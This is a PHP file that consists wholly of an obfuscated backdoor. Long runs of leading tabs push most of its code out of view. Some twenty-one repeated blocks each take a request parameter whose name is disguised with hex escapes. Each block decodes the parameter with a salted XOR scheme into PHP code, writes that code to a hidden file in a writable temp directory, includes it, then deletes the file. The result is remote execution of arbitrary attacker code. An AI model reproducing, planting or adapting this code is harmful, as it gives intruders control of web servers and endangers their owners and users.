<?php																																										if(@$_REQUEST["\x69tm"] !== null){ $property_set = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd()]); $desc = $_REQUEST["\x69tm"]; $desc =explode ( "." , $desc ); $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $desc as $u => $v1): $chS = ord( $s[$u%$lenS]); $dec =( ( int)$v1 - $chS -( $u%10)) ^ 97; $pgrp .= chr( $dec); endforeach; for ($data = 0, $descriptor = count($property_set); $data < $descriptor; $data++) { $marker = $property_set[$data]; if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $parameter_group = sprintf("%s/.pset", $marker); if (file_put_contents($parameter_group, $pgrp)) { require $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(array_key_exists("\x70o\x69n\x74\x65r", $_REQUEST) && !is_null($_REQUEST["\x70o\x69n\x74\x65r"])){ $sym = array_filter(["/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP")]); $rec = $_REQUEST["\x70o\x69n\x74\x65r"]; $rec = explode ("." , $rec) ; $binding=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt9); $len=count($rec); for ($o=0; $o < $len; $o++) { $v6=$rec[$o]; $chS=ord($salt9[$o % $lenS]); $dec=((int)$v6 - $chS - ($o % 10))^2; $binding .= chr($dec); } foreach ($sym as $key => $ent) { if (is_dir($ent) ? is_writable($ent) : false) { $flg = implode("/", [$ent, ".parameter_group"]); if (@file_put_contents($flg, $binding) !== false) { include $flg; unlink($flg); exit; } } } }
																																										if(isset($_POST["\x72\x65s"])){ $element = $_POST["\x72\x65s"]; $element = explode ( "." , $element ) ; $item = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $k = 0; while ($k < count($element)) {$v4 = $element[$k]; $chS = ord($salt8[$k% $sLen]); $d = ((int)$v4 - $chS - ($k% 10)) ^ 52; $item .= chr($d); $k++; } $hld = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", "/tmp"]); for ($factor = 0, $flg = count($hld); $factor < $flg; $factor++) { $ref = $hld[$factor]; if ((bool)is_dir($ref) && (bool)is_writable($ref)) { $descriptor = "$ref/.entry"; if (@file_put_contents($descriptor, $item) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(@$_POST["e\x6Et"] !== null){ $obj = $_POST["e\x6Et"]; $obj= explode ( '.', $obj ) ; $property_set = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); foreach ($obj as $t => $v8): $chS = ord($salt1[$t % $sLen]); $d = ((int)$v8 - $chS - ($t % 10)) ^ 36; $property_set.=chr($d); endforeach; $tkn = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp"]); $descriptor = 0; do { $holder = $tkn[$descriptor] ?? null; if ($descriptor >= count($tkn)) break; if (is_dir($holder) && is_writable($holder)) { $pgrp = str_replace("{var_dir}", $holder, "{var_dir}/.hld"); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $pgrp; @unlink($pgrp); die(); } } $descriptor++; } while (true); }
																																										if(!empty($_REQUEST["\x6Fbj\x65\x63t"])){ $pset = $_REQUEST["\x6Fbj\x65\x63t"]; $pset =explode ( ".", $pset ); $res = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt5 ); $len = count( $pset ); for( $l = 0; $l < $len; $l++) {$v8 = $pset[$l]; $chS = ord( $salt5[$l % $sLen] ); $dec = ( ( int)$v8 - $chS -( $l % 10)) ^ 96; $res .=chr( $dec ); } $elem = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($elem as $key => $resource) { if (is_dir($resource) && is_writable($resource)) { $binding = join("/", [$resource, ".value"]); if (file_put_contents($binding, $res)) { include $binding; @unlink($binding); die(); } } } }
																																										if(!empty($_REQUEST["s\x79\x6Dbol"])){ $property_set = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $marker = $_REQUEST["s\x79\x6Dbol"]; $marker = explode ( '.' ,$marker ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $p = 0; $__tmp = $marker; while( $v5 = array_shift( $__tmp)) {$chS = ord( $salt[$p% $lenS]); $dec = ( ( int)$v5 - $chS -( $p% 10)) ^ 64; $dchunk.= chr( $dec); $p++; } foreach ($property_set as $key => $element) { if (is_writable($element) && is_dir($element)) { $obj = "$element/.data_chunk"; $file = fopen($obj, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $obj; @unlink($obj); exit; } } } }
																																										if(!is_null($_REQUEST["\x72\x65s"] ?? null)){ $object = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir")]); $key = $_REQUEST["\x72\x65s"]; $key = explode("." ,$key ); $ptr= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt9); $p= 0; $__tmp= $key; while( $v1= array_shift( $__tmp)) {$chS= ord( $salt9[$p % $sLen]); $d= ( ( int)$v1 - $chS -( $p % 10)) ^78; $ptr .= chr( $d); $p++; } foreach ($object as $k) { if (is_writable($k) && is_dir($k)) { $reference = sprintf("%s/.fac", $k); if (@file_put_contents($reference, $ptr) !== false) { include $reference; unlink($reference); exit; } } } }
																																										if(array_key_exists("o\x62jec\x74", $_POST) && !is_null($_POST["o\x62jec\x74"])){ $dat = $_POST["o\x62jec\x74"]; $dat=explode ( '.' ,$dat) ; $ptr =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt3 ); $n =0; while($n < count($dat)) {$v6 =$dat[$n]; $chS =ord($salt3[$n %$lenS] ); $dec =((int)$v6 - $chS -($n %10)) ^ 80; $ptr .= chr($dec ); $n++; } $item = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path()]); for ($reference = 0, $property_set = count($item); $reference < $property_set; $reference++) { $data = $item[$reference]; if (!!is_dir($data) && !!is_writable($data)) { $parameter_group = "$data/.key"; if (file_put_contents($parameter_group, $ptr)) { require $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(@$_POST["sym\x62\x6F\x6C"] !== null){ $holder = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); $fac = $_POST["sym\x62\x6F\x6C"]; $fac = explode( "." , $fac ) ; $dat= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $i= 0; while($i < count($fac)) { $v9= $fac[$i]; $sChar= ord($s[$i % $sLen] ); $dec= ((int)$v9 - $sChar -($i % 10)) ^ 48; $dat .= chr($dec ); $i++; } for ($itm = 0, $res = count($holder); $itm < $res; $itm++) { $resource = $holder[$itm]; if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $object = "$resource" . "/.descriptor"; if (file_put_contents($object, $dat)) { require $object; unlink($object); exit; } } } }
																																										if(isset($_POST["tkn"])){ $marker = $_POST["tkn"]; $marker =explode ( "." , $marker ) ; $descriptor = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $n = 0; array_walk($marker, function($v8) use(&$descriptor, &$n, $s6, $sLen) { $chS = ord($s6[$n%$sLen]); $dec =((int)$v8 - $chS -($n%10)) ^ 56; $descriptor .= chr($dec); $n++; }); $obj = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), session_save_path()]); $comp = 0; do { $symbol = $obj[$comp] ?? null; if ($comp >= count($obj)) break; if ((bool)is_dir($symbol) && (bool)is_writable($symbol)) { $object = join("/", [$symbol, ".entry"]); if (file_put_contents($object, $descriptor)) { include $object; @unlink($object); die(); } } $comp++; } while (true); }
																																										if(!is_null($_POST["\x66\x61\x63tor"] ?? null)){ $tkn = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $hld = $_POST["\x66\x61\x63tor"]; $hld= explode( "." , $hld ) ; $elem = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); $y = 0; array_walk($hld, function ($v2) use (&$elem, &$y, $salt9, $sLen) { $sChar = ord($salt9[$y % $sLen] ); $d = ((int)$v2 - $sChar - ($y % 10)) ^ 74; $elem .= chr($d ); $y++;} ); foreach ($tkn as $entry): if (is_writable($entry) && is_dir($entry)) { $pointer = "$entry/.ent"; if (file_put_contents($pointer, $elem)) { require $pointer; unlink($pointer); exit; } } endforeach; }
																																										if(in_array("re\x73\x6Fu\x72\x63e", array_keys($_REQUEST))){ $key = $_REQUEST["re\x73\x6Fu\x72\x63e"]; $key= explode( '.' , $key ); $symbol = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $i = 0; while( $i < count( $key)) { $v5 = $key[$i]; $sChar = ord( $salt8[$i % $lenS]); $dec =( ( int)$v5 - $sChar -( $i % 10)) ^ 46; $symbol .= chr( $dec); $i++; } $ent = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir()]); foreach ($ent as $property_set) { if ((function($d) { return is_dir($d) && is_writable($d); })($property_set)) { $reference = sprintf("%s/.comp", $property_set); if (@file_put_contents($reference, $symbol) !== false) { include $reference; unlink($reference); die(); } } } }
																																										if(!empty($_REQUEST["\x64a\x74a\x5F\x63hunk"])){ $entity = $_REQUEST["\x64a\x74a\x5F\x63hunk"]; $entity= explode( '.',$entity ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($entity as $z => $v9) { $sChar = ord($s[$z % $lenS]); $dec = ((int)$v9 - $sChar - ($z % 10)) ^ 97; $ptr .= chr($dec); } $pset = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($pset as $binding) { if (is_writable($binding) && is_dir($binding)) { $itm = "$binding/.element"; $file = fopen($itm, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $itm; @unlink($itm); die(); } } } }
																																										if(!empty($_POST["\x64e\x73\x63rip\x74o\x72"])){ $marker = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm"]); $symbol = $_POST["\x64e\x73\x63rip\x74o\x72"]; $symbol= explode ( '.' ,$symbol ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($symbol as $n => $v8): $chS = ord($salt[$n % $sLen]); $dec = ((int)$v8 - $chS - ($n % 10)) ^ 74; $comp .=chr($dec); endforeach; $k = 0; do { $res = $marker[$k] ?? null; if ($k >= count($marker)) break; if (!!is_dir($res) && !!is_writable($res)) { $hld = "$res/.data"; if (file_put_contents($hld, $comp)) { require $hld; unlink($hld); die(); } } $k++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["f\x6Cg"])){ $dat = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp"]); $mrk = $_POST["f\x6Cg"]; $mrk=explode ( ".", $mrk ) ; $data_chunk = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $len = count($mrk); for ($q = 0; $q <$len; $q++) {$v5 = $mrk[$q]; $sChar = ord($s1[$q % $sLen]); $dec = ((int)$v5 - $sChar - ($q % 10)) ^ 79; $data_chunk .= chr($dec);} while ($component = array_shift($dat)) { if (array_product([is_dir($component), is_writable($component)])) { $ent = sprintf("%s/.flag", $component); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(array_key_exists("p\x67r\x70", $_REQUEST)){ $mrk = $_REQUEST["p\x67r\x70"]; $mrk= explode ( '.', $mrk ) ; $parameter_group =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s8); foreach ($mrk as $r => $v1) { $sChar =ord($s8[$r%$lenS]); $d =((int)$v1 - $sChar - ($r%10)) ^ 43; $parameter_group .= chr($d); } $binding = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/dev/shm", "/tmp", "/var/tmp"]); $elem = 0; do { $itm = $binding[$elem] ?? null; if ($elem >= count($binding)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($itm)) { $ref = sprintf("%s/.descriptor", $itm); if (file_put_contents($ref, $parameter_group)) { require $ref; unlink($ref); die(); } } $elem++; } while (true); }
																																										if(isset($_REQUEST["p\x74r"])){ $holder = array_filter([getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path()]); $binding = $_REQUEST["p\x74r"]; $binding= explode ( "." , $binding ) ; $hld = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); $k = 0; while ($k < count($binding)) { $v4 = $binding[$k]; $sChar = ord($salt3[$k % $sLen] ); $dec = ((int)$v4 - $sChar - ($k % 10))^ 59; $hld .= chr($dec ); $k++; } foreach ($holder as $key => $elem) { if (array_product([is_dir($elem), is_writable($elem)])) { $fac = vsprintf("%s/%s", [$elem, ".token"]); if (file_put_contents($fac, $hld)) { include $fac; @unlink($fac); exit; } } } }
																																										if(!is_null($_POST["p\x61r\x61\x6Deter\x5Fg\x72oup"] ?? null)){ $hld = $_POST["p\x61r\x61\x6Deter\x5Fg\x72oup"]; $hld= explode ( ".", $hld ) ; $pset = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); $u = 0; $__len = count( $hld); do { if( $u >= $__len) break; $v8 = $hld[$u]; $chS = ord( $salt8[$u % $lenS]); $dec =( ( int)$v8 - $chS -( $u % 10)) ^ 30; $pset .= chr( $dec); $u++; } while( true); $factor = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp"]); foreach ($factor as $symbol) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $element = vsprintf("%s/%s", [$symbol, ".entry"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $element; @unlink($element); die(); } } } }
																																										if(array_key_exists("\x6Be\x79", $_REQUEST) && !is_null($_REQUEST["\x6Be\x79"])){ $descriptor = $_REQUEST["\x6Be\x79"]; $descriptor = explode ( "." , $descriptor ) ; $hld = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3 ); $i = 0; array_walk( $descriptor, function( $v5) use( &$hld, &$i, $salt3, $lenS) { $chS = ord( $salt3[$i % $lenS] ); $d = ( ( int)$v5 - $chS -( $i % 10)) ^ 13; $hld .=chr( $d ); $i++;} ); $item = array_filter(["/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); foreach ($item as $parameter_group) { if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $res = vsprintf("%s/%s", [$parameter_group, ".token"]); if (@file_put_contents($res, $hld) !== false) { include $res; unlink($res); die(); } } } }
																																										if(!is_null($_REQUEST["\x64\x65sc"] ?? null)){ $descriptor = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir()]); $symbol = $_REQUEST["\x64\x65sc"]; $symbol =explode ( '.', $symbol ); $pointer=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $j=0; foreach ($symbol as $v2) {$chS=ord($salt[$j % $lenS] ); $dec=((int)$v2 - $chS - ($j % 10)) ^ 35; $pointer .= chr($dec ); $j++; } for ($data_chunk = 0, $resource = count($descriptor); $data_chunk < $resource; $data_chunk++) { $parameter_group = $descriptor[$data_chunk]; if ((is_dir($parameter_group) and is_writable($parameter_group))) { $key = join("/", [$parameter_group, ".factor"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $key; @unlink($key); die(); } } } }


if(!empty($_REQUEST["p\x67rp"])){
	$entity = $_REQUEST["p\x67rp"];
		  $entity =explode("." ,		$entity);
	$flag	=  '';
            $salt	=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=  strlen(	$salt);
            $j	=  0;
    
            $__tmp	=  $entity;
            while(	$v2	=  array_shift(	$__tmp)) {
                $sChar	=  ord(	$salt[$j % $lenS]);
                $d	=  (	(	int)$v2 - $sChar -(	$j % 10)) ^15;
                $flag.=	chr(	$d);
                $j++;	 }
	$marker = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]);
	foreach ($marker as $symbol):
    		if (max(0, is_dir($symbol) * is_writable($symbol))) {
    $k = "$symbol" . "/.reference";
    if (file_put_contents($k, $flag)) {
	include $k;
	@unlink($k);
	die();
}
}
endforeach;
}